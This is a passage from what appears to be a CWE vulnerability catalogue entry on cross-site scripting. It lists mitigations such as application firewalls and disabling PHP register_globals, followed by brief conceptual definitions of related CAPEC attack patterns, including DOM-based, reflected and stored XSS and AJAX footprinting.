Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Mitigation MIT-16
Operation
Implementation
Strategy: Environment Hardening
When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
CAPEC-209: XSS Using MIME Type Mismatch
An adversary creates a file with scripting content but where the specified MIME type of the file is such that scripting is not expected. The adversary tricks the victim into accessing a URL that responds with the script file. Some browsers will detect that the specified MIME type of the file does not match the actual type of its content and will automatically switch to using an interpreter for the real content type. If the browser does not invoke script filters before doing this, the adversary's script may run on the target unsanitized, possibly revealing the victim's cookies or executing arbitrary script in their browser.
CAPEC-588: DOM-Based XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is inserted into the client-side HTML being parsed by a web browser. Content served by a vulnerable web application includes script code used to manipulate the Document Object Model (DOM). This script code either does not properly validate input, or does not perform proper output encoding, thus creating an opportunity for an adversary to inject a malicious script launch a XSS attack. A key distinction between other XSS attacks and DOM-based attacks is that in other XSS attacks, the malicious script runs when the vulnerable web page is initially loaded, while a DOM-based attack executes sometime after the page loads. Another distinction of DOM-based attacks is that in some cases, the malicious script is never sent to the vulnerable web server at all. An attack like this is guaranteed to bypass any server-side filtering attempts to protect users.
CAPEC-591: Reflected XSS
This type of attack is a form of Cross-Site Scripting (XSS) where a malicious script is "reflected" off a vulnerable web application and then executed by a victim's browser. The process starts with an adversary delivering a malicious script to a victim and convincing the victim to send the script to the vulnerable web application.
CAPEC-592: Stored XSS
An adversary utilizes a form of Cross-site Scripting (XSS) where a malicious script is persistently "stored" within the data storage of a vulnerable web application as valid input.
CAPEC-63: Cross-Site Scripting (XSS)
An adversary embeds malicious scripts in content that will be served to web browsers. The goal of the attack is for the target software, the client-side browser, to execute the script with the users' privilege level. An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute code and scripts. Web browsers, for example, have some simple security controls in place, but if a remote attacker is allowed to execute scripts (through injecting them in to user-generated content like bulletin boards) then these controls may be bypassed. Further, these attacks are very difficult for an end user to detect.
CAPEC-85: AJAX Footprinting
This attack utilizes the frequent client-server roundtrips in Ajax conversation to scan a system. While Ajax does not open up new vulnerabilities per se, it does optimize them from an attacker point of view. A common first step for an attacker is to footprint the target environment to understand what attacks will work. Since footprinting relies on enumeration, the conversational pattern of rapid, multiple requests and responses that are typical in Ajax applications enable an attacker to look for many vulnerabilities, well-known ports, network locations and so on. The knowledge gained through Ajax fingerprinting can be used to support other attacks, such as XSS.